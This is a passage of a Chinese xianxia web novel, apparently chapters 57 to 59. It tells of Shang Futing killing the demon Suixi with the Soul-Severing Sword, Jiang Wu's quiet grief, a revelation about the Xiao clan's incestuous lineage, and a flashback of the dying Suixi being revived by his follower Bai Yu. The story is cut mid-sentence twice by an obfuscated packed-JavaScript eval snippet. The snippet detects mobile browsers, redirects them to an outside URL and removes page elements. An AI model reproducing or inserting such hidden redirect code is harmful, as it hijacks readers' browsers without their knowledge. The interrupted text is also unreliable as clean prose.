巨大的霰雪蝶凭空而现,蝶翼上闭合的四对双眸一一张开,睢羲发觉不知何时前厅之中爬满了密密麻麻的黑色霰雪蝶,紫黑色蝶翼上的双眸频率不定地眨着,目所能视之处全是诡异的眼睛。 睢羲虚空一抓,右手握拳猛击,雾沅瞬间被打出了正厅,四周的幻境应声而碎。 雾沅狼狈地滚落至雨幕中,他撑起身猛地吐出一口鲜血。 萧高瞻看着重伤的二人,神情复杂地看着睢羲,试探道:“大哥?你还是我大哥吗?” 睢羲走向商扶庭的脚步一顿,他睨了萧高瞻一眼,烦心于这些毫无意义的追问,再加之姜芜情况未知,只想速战速决。 雾沅见睢羲欲对商扶庭不利,立刻喊道:“商道长!快跑!” 睢羲斜睨了雾沅一眼,脚下步伐不停,“放心,有血契在,我不会杀他。” “师弟!商师弟!” 一道声音传入商扶庭的识海。 商扶庭震惊地瞪大了双眸,“越师兄?” “我的神识与修为都在斩魄剑之中,现下我将自己毕生的修为都传给你,事态紧急,已经顾不了你能否承受得了了,你根据我说的来做。” 商扶庭顿时觉得内府丹田之中涌入一股强悍的力量,他的筋脉鼓胀,甚至有撕裂粉碎的痕迹,他痛苦得大喊大叫了起来,上衣被滚滚的热气引至焚烧成灰烬。 睢羲停住了脚步,他双眸一眯,看着眼前的异样。 商扶庭痛得几近昏厥,他甚至想用自戕来结束这烈火焚身之痛,但是只要他想起身后还有众多无辜之人,若是他想死了,荆州一夜之间恐会成为一座死城,他便咬牙坚持了下来。 睢羲见状立刻出手,雄厚的戾气似猛虎野兽般扑向商扶庭。 商扶庭抬掌接了下来,他双眸猩红,七窍流血不止,“天!地!一剑!破!” 斩魄剑随着商扶庭的话音,从袖袋中飞了出来,以雷霆之势穿破戾气,直接穿破了睢羲的心脏,将他钉在了正厅的墙壁上。 顒鸟精火顺势而起,熊熊烈火将正厅吞噬殆尽。 “修罗!你也有今日!师弟,烦请您带句话给我师尊,弟子不肖,盗取天书,以死谢罪。” 越迦柯语毕,顿时神魂聚灭。 一道戾气从正厅荡了出来,将商扶庭三人撞飞了出去,天地之间即刻停滞,雨幕悬在空中,戾气来势汹汹斩破雨幕,绞碎了与姜芜缠斗的修士,四周也只是停滞了一瞬,大雨重新落下。 姜芜诧异,方才那戾气强悍凶猛,却未伤她一分一毫,来势诡异,像极了修罗陨落后的戾气爆体,她缓慢地转身,随即便看到了正焚烧于顒鸟精火之中的正厅。 萧高瞻脸上带着劫后余生的笑容,“得……得救了?” 58. 期冀 商扶庭见状轻笑了一声,“自不量力?夜郎自大!”说完,太初剑脱手,他整个人昏死于雨幕中。 姜芜神情空白,方才的戾气她再熟悉不过,来源却是滚滚浓烟的火海之中,她无意识地拖着无心乱向正厅走去,拐杖李六人见状迅速强撑着重伤的身体盘膝而坐,以真元之力形成牢笼将其困于其中。 “女修罗!你杀我三弟之事,今日就该做个了断,我等兄弟七人,今日不是你死便是我们亡!” 真元之力化成金色的符带把姜芜前行的身体扯了个踉跄,她依旧无知无觉地向前走着,她想尽快赶到火海之中,任凭真元化成的符带生出倒刺没入她的体内,鲜血流出将她的裙子染成艳红色。 姜芜僵硬地转动眼眸,面无表情地看向重伤的几人,突然嗤笑了一声。 “那你们去死吧,反正我要活着。”说完,姜芜挥动手中的长鞭,身上的束缚顿时消失,盘坐在地的六人顿时成了无头之尸,血柱喷涌而起。 雾沅看着面前的大火,缓慢地撑着重伤的身体起身,随后他上前查看了一番商扶庭身上的伤势,用妖力稳住后者体内翻涌的真元。 姜芜越过商扶庭三人走向火海,却被雾沅伸手拦下。 “别去,危险,睢羲被斩魄剑刺穿了心脏,估计凶多吉少了,再加上顒鸟精火的焚烧,你进去也是徒劳,怕是连尸首都不会剩。” 姜芜在雾沅身侧站定,她看着面前的滚滚浓烟,面无表情地开口问道:“你们杀了他,谁来解我身上的封印?我的戾气要怎么办?寂满跃天门要靠现在的商扶庭吗?” 雾沅蹙眉,“姜芜,你比谁心里都清楚,睢羲是不可能随便解开你身上的封印的,他只是在骗你。商扶庭如此做,也算是帮你完成了心愿不是吗?” 姜芜把目光从雾沅的脸上转移到了面前的大火上,她浑身冰冷,即便是靠得烈火如此之近,她都无法感受到那灼人的热气,只怕是要跃入那八热地狱,才能感受焚身之痛,才能分担锥心之苦。 姜芜勾唇笑了起来,她长长地舒了一口气,“也是,把商扶庭喊醒,否则顒鸟精火便要燃烧干净了,我要到哪里去再给你们找一只顒鸟。” 雾沅神情复杂地看着姜芜,他拿捏不准姜芜此时的意思,如今之事是谁都没有预料到的,姜芜没有追究便是最好的,但是她表现得却过于平静,平静得让人心惊。 雾沅试探地问道:“姜芜,你没有什么想说的吗?” 姜芜摇了摇头,神情平静,“没有,你是有什么想问的吗?还是你想听听我对于睢羲的死有什么想法?我没有想法,不必再问我了。” 沈确从外跑了进来,她神情震惊地看着宛若一片血海的前院,空气中都是焚烧之息,以及瓢泼大雨也浇不灭漫天大火,冲散不掉浓重的血腥味。 “师兄!” 沈确冲到了商扶庭面前,俯身拍着他的脸,神情焦急地说:“师兄!师兄!你怎么了?你醒醒啊,不要吓我。” 商扶庭瞬间惊醒,他透过雨幕一一扫过众人,觉得体内有一股雄厚的力量,存在于他的经脉之中横冲直撞,又有一股缓和的力量追着平息前一股力量,让他没有那么的难捱。 “阿确?你没事真是太好了。” 沈确浑身狼狈,雨水将她浑身浇透,碎发凌乱地贴在脸上,她半揽着商扶庭,“师兄,这里到底发生了何事?” 商扶庭垂眸,神情有些难以置信地看着自己的手掌。 雾沅上前关切地问道:“商道长,你现下觉得如何?” 商扶庭抬眸看向雾沅,微微点头,“我好多了,多谢你的妖力。” 雾沅松了一口气,“那便将顒鸟精火收了吧,这火不熄不灭,屋顶连绵容易将整个荆州陷入其中。” 商扶庭点了点头,从纳戒中祭出避火瓶,将熯天炽地的顒鸟精火收进瓶中,整个前厅一片焦黑,雕梁画栋的房屋变成了撑着骨架的废墟。 萧高瞻失魂落魄地起身往里走去,他捂着胸口的伤处,声嘶力竭地喊道:“大哥,大哥。” 商扶庭一把拦住萧高瞻,“别去,如今这副模样有倾倒之势,你贸然进去有危险,而且那人不是你大哥。” 萧高瞻蹙眉,“那我大哥呢?不能生不见人死不见尸?” 姜芜神情平淡地看着破损焦黑的正厅内墙壁上大片大片腐蚀变黑的痕迹,以及掉落在正下方的斩魄剑,连一片衣角都未曾留下。 商扶庭抬手将斩魄剑召回,他抬手拂过剑身,见上面没有缺损才松了一口气。 萧高瞻转身看向浑身血污的姜芜,追问道:“小嫂嫂,我大哥呢?” 姜芜神情疲惫地按了按眉心,随即睁开双眸看向萧高瞻,“你大哥?不是被萧无祸毒死了吗?为何还要来问我?” 商扶庭闻言看向姜芜,她静静地伫立在雨幕之中,鲜血泼洒在如雪的白衣之上,长发打湿成缕,风雨飘摇,她却岿然不动,如同一棵扎根深处的参天大树。 他看着姜芜,心中百感交集。 所有人都觉得姜芜应该难过,应该哭闹,她却表现得与平常无异。 从应破开雨幕落地,起身直直地冲到姜芜面前,“女修罗,我弟弟呢?你把他弄到哪里去了?!” 姜芜的身形纹丝不动,她垂眸看了一眼从应抓在她衣服上的手,挥袖甩开。 “哥!”宗华冒雨跑了出来,“我在这里。” 寂满掐了个避水诀,他震惊地看着院中的一切,成了所有人中最干净整洁的一个。 宗华上前抱住了从应。 从应看着宗华,抚去他脸上的雨水,焦急地问道:“宗华,你怎么样?有没有受伤?他们没有苛待你吧?” 宗华摇了摇头,安抚道:“他们没有对我怎么样?哥哥,你快放了那个女孩子吧。” 从应不语,他示意宗华看向跪坐在雨水中的沈确。 宗华望了过去,只见沈确一身束袖青衣,如同一朵小小的铃兰花一般,任凭风吹雨打,头发成缕贴在脸上,花朵向下垂着,满心满眼地看着商扶庭,雨水粘湿花瓣,顺着纹路流下,仿佛滴落在了宗华的心间。 萧无咎持伞而来,他看着狼狈不堪的众人,扬声道:“已经在院中备好了姜茶、热水和吃食,各位先洗洗吧。” 姜芜深深地吸了一口气,她垂眸理了理有些杂乱的长发,随后转身往院中走去。 萧高瞻看着姜芜一眼,随即冲到了萧无咎面前,目眦欲裂地质问道:“无祸呢?他杀死了自己的亲哥哥,他现下满意不满意?!” 萧无咎蹙眉,“高瞻,你冷静一些。舒延与你同无祸、妺儿并无血缘关系,何来亲哥哥一说?不过是一场家族斗争,现下已然结局,莫要再纠结了。” 萧高瞻一愣,难以置信地说:“此话当真?那他为何还要争夺城主之位,那本就是我大哥的!你知晓这么多事却不阻止!你们还我哥哥!你们还我哥哥!” 萧高瞻说着便哽咽了起来,他无力地跌坐在地,嘶声力竭地控诉着,像一个孩童一般,“母亲走了,父亲也走了,我只剩了一个哥哥,为何你们还要将他夺走!” 商扶庭在沈确的搀扶下起身,他慢吞吞地走到萧高瞻身侧,伸手轻轻地按了按他的肩膀,“节哀。” 姜芜推开房门,看着放在房间中热气腾腾的浴桶,她拖着沉重的身体,伸手解开衣带,将衣袍褪下,随后整个人浸入了热水之中,她突然想起袁星月死前的那句话,合眸呢喃道:“我真是一个只会搞砸一切的蠢货。” 姜芜被一阵敲门声惊醒,周身的热水已经全部变凉,她垂眸看了一眼手臂上泡得发白外翻的伤口,天色暗沉如墨,房间内漆黑一片,四周只有催命一般的敲门声。 “何事?” 商扶庭模糊的声音从外传来,“姜芜,你睡了吗?该吃晚饭了,三公子他们也过来了。” “知晓了。” 姜芜双手撑着浴桶起身,泡过热水以后只觉得身体更加乏力,她慢吞吞地擦净身上的水珠,烘干长发,将衣裳穿好,又挽起发髻,并未着手处理腰间骇人的大片淤青。 姜芜伸手拉开房门,看到商扶庭依旧站在房外未走。 姜芜勾起唇角,开口问道:“你在等我?” 商扶庭见姜芜同从前别无二致,心下便松了一口气,“长时间的落雨,空气已经很凉了,不多加件披风吗?” 姜芜摇头,“不是吃饭吗?那样不方便。” “也好,过去吧,别让他们等急了。”说完,商扶庭便向正厅走去。 姜芜关好房门,跟上了商扶庭的步伐,随意地问道:“越迦柯的真元在你体内吸收得可好?” 商扶庭停下脚步,倏地看向姜芜,“你都知道?” 姜芜温温一笑,“自然是我猜的,但是看你的表现,我猜得很对。毕竟,若是没有他的帮助,你怕是很难伤到睢羲。” 商扶庭垂眸,“这是谁都无法想到的,如果不是因为越师兄,估计今日死得便是我们而不是睢羲了。” 姜芜心中百感交集,她忍住翻腾出来的情绪,面色不变,“这也是一种机缘。”说完,她便绕过商扶庭向厅中走去。 萧无祸看着一前一后进来坐定的二人,朗声道:“现下所有人都到齐了,我敬各位一杯,感谢各位今日的鼎力相助。” 姜芜夹了一筷子干菇炒肉,听着萧无祸的话顿时胃口全无,她放下手中的筷子,缓缓地吐出了一口浊气。 萧无咎抬起酒杯示意,“恭喜,得偿所愿。” 萧高瞻捏紧了手中的筷子,偏头看向姜芜,他相信姜芜一个修罗肯定可以将杀光这里的所有人,为他的父亲母亲以及兄长报仇。 姜芜垂眸喝茶,不理会也不回应萧高瞻的目光。 “真是没有想到,所有的一切居然都按照我事先约定的稳步进行,只是中间出了些无伤大雅的小插曲而已。”萧无祸笑着说,“商师弟,之前约定的十年器具待我修为恢复后,会照常供应给五行道宗的。” 商扶庭颔首,“先谢过萧师兄了,那便祝愿萧师兄早日恢复修为。” 萧高瞻放下了手中的筷子,他紧盯着姜芜,目光狠厉,低声问道:“你为何不讲话?” 姜芜口中正嚼着一根干菇,闻言抬眸诧异地看了萧高瞻一眼,“我吗?” 萧高瞻被姜芜的眼神惊到一瞬,他虽然同姜芜相处不多,但是那双漂亮的眸子中觉不该出现现下这般的神情,万念俱灭,犹如死灰。 萧高瞻眉心紧紧拢起,“你......” 姜芜敛眸,掩盖住心底的情绪,“你想我说些何事?你不用开口,我大抵也该知晓了。” 众人停下手中的碗筷,抬眸一瞬不瞬地盯着姜芜,想知晓会从她的口中说出何种话语来。 姜芜取了帕子擦了擦唇角,“萧无祸,你曾经口口声声称萧舒延和萧高瞻为猖/妓之子,有没有想过这猖/妓之子其实另有其人呢?” 萧无祸目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431696|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一凛,“你是何意?那么多散修居然没有杀得了你,看来修罗的本事确实大的很啊。今日我高兴,饶你一命,劝你少生事端。” 姜芜对于萧无祸的嘲讽置之不顾,她粲然一笑,“我算过你的年纪,你应该是萧魁同你的母亲萧筱成亲之后才降生的吧?” 萧无祸咬牙切齿地说:“废话,我母亲可不是不知廉耻的猖/妓,没有父母之命、媒妁之言便敢同人苟合。” 萧高瞻气盛,他拍桌而起,伸手指向萧无祸,厉声道:“萧无祸,你嘴巴放干净一些。” 姜芜笑着说:“我觉得萧魁没有蠢到同自己的胞妹结合,你说你的母亲无法与相爱之人长相守,被妾室欺凌,郁郁而终,虽然她未同相爱之人到白头,但是她却与相爱之人互表心意,相知相许,否则怎会有你同萧妺的降生。” “胡说八道!”萧无祸倏地站了起来,怒火将他的双眸烧至通红,身体止不住地颤抖,“你有何证据证明你所说的一切?” 姜芜起身取过茶壶,给自己的杯中填满茶水,“秦铭不是还在府中吗?是与不是,叫他来一问便知,不过我也见过许许多多弑父的人,再者真相如何,这些年你未曾怀疑过吗?”说完,她便抿了一口茶水润了润双唇。 萧无祸神情呆愣地看着姜芜,身体不自觉地后退了半步。 萧高瞻讶然,一脸难以置信地看着姜芜,“这些你又是从何知晓的?我都不知晓。” 姜芜沉吟了片刻,随后才笑着说:“至于萧家为何要选择同胞兄妹结亲,这我便不得而知了。” 萧无咎饮下一杯酒,“这个问题,我知晓答案。不过,有一件事你要知晓,若是天书不在荆州府,萧氏从你的后代开始便不再具有异于常人的炼器天赋。” 萧无祸神情狠厉地瞪向萧无咎,“这又关你何事?这样不是正合我意吗?像萧家这般肮脏的家族,本就不应该存在!” 萧无咎幽幽地叹了口气,自顾自地说:“萧公醉酒之时曾对我袒露过他的心事。五百年前,因为南疆鬼族人猖獗,圣人段怀野前来协助荆州府抵抗鬼族,并帮助萧氏精进炼器技术,那场战役最终人族大盛,圣人取了当时鬼王的骨头炼制了对鬼族人具有毁灭性伤害的斩魄剑,并以天书赐福萧氏,另他们对炼器方面的天赋异于常人,而萧氏为了能让这天赋达到极致,在圣人死后神思逐渐扭曲,想出了同胞兄妹通婚这种龌龊的方法。” 姜芜神绪一阵恍惚,她没有想到的是原来段怀野这么早便在她面前使用过天书,但是直至冀州事件之前,她对于天书的存在几乎没有任何的印象。 “从那之后萧氏开始凋零,孩童莫名其妙的夭折,直至萧公这一脉,萧家有二子一女,但是他们为了城主之位与胞妹大打出手,萧公最后误杀了自己的兄弟。”萧无咎看向萧无祸,神情变得温和,“几百年来,你是唯一的例外,超脱了萧氏列祖列宗的期望,你并非近亲通婚所诞生的孩童,你的炼器天赋绝无仅有,举世无双。” 萧无祸面目狰狞,“这又能说明什么呢?现下我是城主,萧舒延已经死了!” “不能说明何事。”萧无咎闻言长长地舒了口气,散去心中的郁结之气,“虽然今日有鬼族人在场,但我依旧要说,萧氏的列祖列宗之所以这么做,为得便是有朝一日能够压制鬼族人,让荆州的百姓免受鬼族人之苦。事已至此,既然你是城主,便好好守着荆州,守着荆州的百姓,莫要再追究前事了。” 萧无祸冷哼一声,识海中一片杂乱,“荆州城到了一个外人手中,你们有何感觉?”说完,他便一脚踢倒圆凳,黑着脸走了出去。 从应见状笑了一声,“现下看来,我们兄弟二人在此处有些多余啊,不久留,告辞了。”说完,他便抓着宗华向外走去。 “等等。” 宗华闻言依依不舍地回头看着姜芜。 从应脚步一顿,一支筷子擦着他的喉结钉进了一旁的柱子上,若是他未曾停住脚步,这支筷子便会穿喉而过,他怕是要当场血溅三尺。 姜芜说:“天书换你们兄弟二人的命,外加一个人情如何?” 从应思索了片刻,他面色凝重地看着姜芜,“什么人情都可以?” 姜芜应了一声,“只要不是特别的无理。” 从应冷笑一声,他从怀中摸出竹筒掷给了姜芜,“人情便先留着,需要时我自然会去找你。”说完,他便同宗华化作一阵鬼气离开了荆州府。 萧无咎自觉吃得也差不多了,随即便起身向外走去,头也不回地说:“各位留步,我先回药园了。” 姜芜抬手接住书筒,反手收进了袖袋之中。 寂满一手端着碗,一手夹着菜停在半空中,“真是精彩啊,偌大的荆州府居然还有这等趣事。” 沈确感慨道:“萧氏也算是为了荆州府走上了歧路,好在回头是岸,萧魁城主做了个一个正确的决定。” “他们的家事,我们管不了。”商扶庭说,“各位今夜好好休息,明日我们便启程前往冀州。寂满兄弟,劳烦你给你的父亲送去家书一封,询问若木之根的事情,睢羲手中的若木之根估计已经随着他的尸首在顒鸟精火中焚烧成灰烬了。” 寂满颔首,接着不解地问道:“明日便要启程前往冀州吗?不是要在荆州过年吗?姜芜还买了好多的东西呢。” “是吗?” 商扶庭转头看向姜芜,却见后者已经起身离开了厅中,他迅速追了上去。 “姜芜,你等等。” 59. 桃花 姜芜停下脚步,她转身看向商扶庭,面无表情地问道:“要天书吗?” 商扶庭神情一愣,接着摇了摇头说:“不是。” “何事?” 商扶庭从怀中摸出一个苹果,在衣服上擦了几下,然后递给了姜芜,他笑着说:“方才在席上,我见你并未怎么进食,苹果给你,平平安安,寓意比梨好很多。” 姜芜垂眸看着商扶庭手中的苹果,红润饱满,透过果皮散发着清香,心底泛起了一丝厌恶,“不必了,我不是很饿,你也早些休息吧,明日好赶路。”说完,她便转身回了房间。 商扶庭脸上闪过一丝失落,他握着苹果的手缓缓地收了回来,勉力提起精神,对着姜芜的背影说:“好,你好好休息。” 深夜,姜芜披着月光踏夜而来,她伸手推开了萧舒延的房门,房间内一片昏暗,甚至冷冷清清的没有一丝人气,连月光也觉得毫无生机,索性随着姜芜的动作,从她的肩上滑落至地面。 姜芜一眼便看到了屏风后的衣架,上面撑着那件花青色的衣裳,她缓步走上前,抬手细细地抚过襟口的花纹与宝石,靠近后甚至能闻到衣服之中残留的气息,又像是想象出来的假象。 姜芜合上双眸,静静地站在衣裳前,随后伸手将衣服从木施上取下,仔细叠起来后收进了纳袋之中。 姜芜在房间中无措地站了片刻,随后又走到床榻边坐着,她也不知晓自己在做何事,总觉得只要找不见睢羲,坐在原地等等,他总会来找自己。 东方既白,晨光熹微。 姜芜枯坐了一夜,她有些僵硬地抬起手臂遮挡了一番刺眼的光芒,随后从袖袋中取出萧氏的天书来看。 金色的光芒从书筒中飞出,在姜芜的眼前铺陈开,她一目十行地看完其中的神文,即便没有找到自己想要的答案,她心中也未有涟漪波动。 姜芜收回天书,仰面躺在床榻上,额角磕在床柜上发出一声巨响,她痛得眉心一拢,目光呆滞地看着层层叠叠的帷帐顶。 姜芜突然想起前日早上因为嬉闹而不小心撞到床柜上的事情,睢羲当即收敛了嬉闹的心思,伸手把姜芜拢进怀中,轻揉着她的额间问她疼不疼。 姜芜幽幽地叹了一息,伸手揉了揉疼痛渐缓的地方。 无幻之境,顾名思义,深陷地狱,没有幻境。 黄沙遮天,罡风肆虐,戾气扎根于每一个角落,遍地荒芜,寸草不生,唯有冲天干枯的丑陋巨树。 “睢羲,睢羲。”濯漪笑着扑到了睢羲的背上,“我这次可是按时回来了,而且还提前了一天呢。” 睢羲睁开双眸,把濯漪抱到身前,“濯濯,这次出去玩得开心吗?” 濯漪点了点头,她钻进睢羲的怀中,“开心归开心,但是我也好想你,下次如果你能跟我一起便更好了。” 睢羲应了一声,“下次一定。” 濯漪环着睢羲的脖颈起身,双眸含笑,“睢羲,段怀野给我取了个人族名字。” 睢羲蹙眉,神情有些不悦,但依旧开口问道:“是什么,要说给我听听吗?” 濯漪并没有察觉到睢羲的情绪,自顾自地说:“姜妩,濯濯青莲妩。姜是姓,妩是名,好听吗?” 睢羲挑眉,重复道:“濯濯青莲妩?” 濯漪接着说:“但是我把女字旁的妩,改成了草字头的芜,我更喜欢姜芜这个名字。” 睢羲问道:“为何?” 濯漪笑着说:“因为我诞生于无幻之境,这里遍地荒芜,更重要的是还有你在,所以我更喜欢‘芜’字。” 睢羲的神情有所缓和,他凑上前抵住濯漪的额头,“我这么重要吗?” 濯漪神情真诚地点了点头,“重要,没有你便没有我,如果不是你那我便被其他修罗欺负死了,哪里还有现下啊。” 睢羲勾唇,他将濯漪拢在怀中,“傻濯濯,是没有你便没有我。” 濯漪笑着说:“多久之前的事情了,还记着呢,别再想着啦,多看看现在的我。” 睢羲啄吻着濯漪的额头,“总觉得亏欠于你。” “离旧离旧,脱离昨日,辞旧迎新。”濯漪说,“枉费我给你武器赋名了。” “姜芜。”商扶庭推门而入,“原来你在这里,收拾一下,我们准备出发了。” “姜芜?”商扶庭见姜芜没有应答,走上前站在屏风边缘,“睡醒了吗?” 姜芜应了一声,缓缓起身坐在床榻上,“没睡,来这边取点东西。” 商扶庭闻言往里间内走了几步,他听着姜芜干哑的声音,面色凝重地问道:“东西都收拾好了吗?” “没有可收拾的东西。”说完,姜芜朝准备起身,她双手撑在膝盖上助力,却因为身体无力而脚下一个踉跄,不得不得伸手去扶床榻边缘。 商扶庭见状一惊,快步上前扶住姜芜,“你没事吧?” 姜芜摇了摇头,在商扶庭的搀扶下起身,“无事,一个姿势太久了,身子有些僵硬,不碍事。” 商扶庭蹙眉,他垂眸看着姜芜,撇见了她交领下的一道似红梅般的痕迹,神情悲怆,“姜芜,你怨我吗?你怨我吧。” 姜芜闻言勾唇轻笑,“修罗一族屠杀了你的家乡,你不是也怨恨所有修罗吗?怨恨我吗?我为何又要怨你?” “不,那不一样,你不是屠杀我家乡的修罗。”商扶庭否认,“但我确确实实杀了睢羲,但即便是招了你的怨恨,当时我也会那么做,若是不那么做死得便不知是现下哪些人了。” 姜芜推开商扶庭的搀扶向外走去,“那是他罪有应得,我不怨你,你完成了段怀野的遗志,会还人间一个太平的。” 商扶庭快步追了上去,他扯住姜芜的手臂,“你怨我,你的情绪可以宣泄出来,总比你现下憋在心里要好。” 姜芜看着初见时比自己还矮半头的少年,闯过了天南海北,现下已经比自己还要高出了半个头。 “商扶庭,我说过,我不怨你。” 【天都南城小院】 柏雨抱着一包鲜血淋漓的东西,飞速地穿梭在小巷之中,她推开小院的大门,看向了院内倚靠着桃木半躺的男人,他长发未束,随意地散落在身后,发丝渐白,有几缕垂落于身侧的池塘之中。 “大人。” 柏雨神情不忍地看着睢羲,她抱着怀中的东西缓步上前,跪坐于池塘边,泣声道:“我给您挖来了很多心,您看看哪些可以用。” 睢羲的神情变得温和起来,他看着身侧的柏雨,仰头饮尽了杯中的酒,“不用这么麻烦了,没用的。柏雨,谢谢你救我。” 桃花簌簌,粉红色的花瓣在水面上铺了薄薄的一层。 “不,不,有用的。”柏雨神情急切地说,“大人,你同我讲,哪个人的心脏有用,我立刻去取来,或者......或者我去找姜女郎,她一定有办法救您的。” “不必了,她已经想了很多法子了,都没有用。”睢羲抬手捻下了柏雨发间的花瓣,“到此为止了,你也不要再去麻烦她了。她见不得人死,让她看着人死,比杀了她还要难受。况且她的心思我都懂,自从我杀了段怀野之后,我们便回不到从前了。荆州的那段时日,对我来说是一场美梦,只不过现下要到醒来的时候了。” 柏雨低声哭泣了起来,她手忙脚乱地擦着脸上的眼泪,“不会的,不会的,像大人这样好的人,为何会是这种下场。” 睢羲伸手撩起了自己的一缕头发,白发横生,夹杂于其中的黑发也在逐渐变黄变白,“柏雨,我并不好。你不要搞错了,而且当初救你的人是濯濯,不是我。” 柏雨泪眼婆娑地抬起头看向睢羲,随后她用力擦了擦脸,希望看清楚睢羲的每时每刻,“姜女郎对大人那样好,大人真觉得她在欺骗于您吗?” 睢羲见状伸手拭去柏雨脸上的泪珠,“是,濯濯待谁都好,我同她这么多年,她的真心与假意,我都看得清楚。段怀野死后,我们的关系极度僵硬,她爱整个人世间,向往热闹非凡的城池,却因为我的原因,她做了很多不愿意做的事情,包括但不限于屠杀七仙并挖取了他们的心脏,为得便是想要我活下去,但是他们的心脏对我来说没有任何用处,只是让濯濯在偏执之中徒增杀孽,她不愿意如此做,却又不得不如此做,我看着她苦苦挣扎,但得不到任何想要的结果,看她困于噩梦之中,恍若溺水之人,但我却不能救她上岸。” 柏雨问道:“我不懂,即便是如此也不能证明姜女郎对大人的心意吗?爱一个人,不就应该如此执拗吗?” 睢羲温声说:“可以证明,但是没有必要。我想让她继续热爱人世间,而不是因为我做个人人厌恶、喊打喊杀的修罗濯漪,她应该更愿意做段怀野的师姐姜芜,行走于世间,留下一些为人所乐道的佳话。” 柏雨蹙眉,她似懂非懂地看着睢羲,“可是做修士的师姐与做修罗有何区别,不能同心悦之人相守做哪种人又有何意义?大人,姜女郎是心悦您的,您为何要将她往外推?” “哪有两全之法,天下人族情感丰沛,并非只有爱与不爱。”睢羲声音减弱,依旧耐心解释,“不能以这个为理由去困住她,这样对谁来说都不公平,消磨的只有积累下来的感情。” 柏雨见状立刻起身去查看睢羲的伤势,“大人,您别再说了,我带您回无幻之境,那里戾气充足有利于您的伤。等您伤好了,亲自去问姜女郎这个问题。” 睢羲偏头咳嗽了片刻,鲜血喷溅在池塘边的石子上,只留下了浅浅的印子,“不用了,我的身体已是强弩之末,已经不能再吸取戾气纳为己用,不必再多此一举了。” 柏雨神情悲伤,“大人,您这又是何苦呢。” 睢羲发出一阵气笑,“也不必问她了,我大限将至,完全可以替她做选择。我曾经以爱之名困住她,也可以爱之名放她自由。不,不是以爱之名,她是自由的,我对于她来说是束缚,是累赘。我选择结束,让她不必再左右为难,莫要再让她为我耗费精力去想着如何封印无幻之境了,可以同她说灵气入侵之后,万物复苏,她的梨树长得很好。” “那你呢?大人,那你又该如何?”柏雨质问道,“你处处为姜女郎考虑,为何不为自己考虑?所有的生灵自降生的那一刻为得都是活下去,我也是如此,我自出生起便被母亲抛弃,一路颠沛流离,每日食不果腹,与野兽争食,握紧拳头同其他修罗打架,为得便是活下去。大人,你为何不想着活下去?” 睢羲伸手摸了摸柏雨的发顶,神情温柔地笑着,“柏雨,答应我一件事情,你帮我救濯濯,阻止她任何的所作所为,我死了,或许她便可以活下去了。” 柏雨诧异,她神情迷茫地看着睢羲,“这又是何歪理,你同姜女郎为何不能一起活下去?莫非又是段怀野的原因?是天书的作用吗?是天书不让你们一同活下去吗?” 睢羲摇了摇头,笑着说:“好了,让我休息片刻,待我死前会将所有的戾气都给你,这样你便不会再受欺负,好好地活下去吧,顺便帮我,帮我救濯漪。”说完,他便放下手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436547|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的酒杯,抬眸看着满树繁花,伸手接住几朵坠落的桃花。 “濯濯,花花,你看桃花已经开始落了吗?” 柏雨低声啜泣着,听到这么一句话神情一愣,她诧异地抬眸看向睢羲,发觉他的眸光开始涣散,整个人仿佛陷入了一种迷离的幻境。 柏雨抬眸去看满树的桃花,花朵并不是片片凋零,而是反常得整朵从枝头坠落,她哭着说:“大人,你忘了吗?是你用戾气让这棵桃树开花的,现下还不到桃花盛开的季节。您已经不能再随意地使用戾气了,原本您伤得便重,又随意地附身于萧舒延,加重了伤势,还被萧高瞻用鬼气匕首刺伤,让商扶庭用斩魄剑刺穿心脏......可恶,我一定要杀了他们,为大人报仇。” “不要带着怨恨,要活得快乐一些,去做自己想做的事情,唯有你自己,其余人都是你人生当中的过客,不重要的。” 柏雨掩面哭泣了起来,这种名为难过的情绪充斥在她的胸腔之中,她看着睢羲合眸昏睡了过去,壮着胆子上前握住了他置于身侧的手,血管的鼓动不再强壮有力,正在逐步趋于平缓,平日里温热宽厚的手掌也变得像水一般凉。 柏雨抿了抿双唇,她抬手点了睢羲的穴位,将一道禁制打入他的体内,随即双手交叠放在他心口的伤处,大量的戾气从她的手掌处缓缓地注入后者的体内。 睢羲瞬间惊醒,他全身的经脉被封住,根本动弹不得,只能看着柏雨将她所有的戾气输送过来,“你在做何事?” 柏雨目光柔柔地抬眸看向睢羲,随即无奈地一笑,“大人,这是一个很笨的方法吧,但是除了这个方法,我再也想不到其他的办法救你了。我曾经在无幻之境内看到过一对相爱的恋人,男修罗便是如此将死亡的女修罗救活,我虽然不能治愈你身上所有的伤,但至少让我救你,让我把全部的戾气都给你。” 睢羲蹙眉,“我不需要你为我这么做。” 柏雨笑而不语,固执地将自己全部的戾气都输送给了睢羲,从经脉中搜刮着每一处的一分一毫,直至经脉干瘪,她偏头吐出一口鲜血,最终因体力不支而伏倒在后者的腿上。 “大人......若不是你同姜女郎,我现下恐怕还在那口地窖之中,说不定还要受人凌辱,做着供人取乐的事情,我说过是你们给了我第二次的生命......我现下终于......有机会报答你了。”说完,柏雨便笑了起来,她抬手吃力地擦去唇角的鲜血,不愿弄脏睢羲的衣摆。 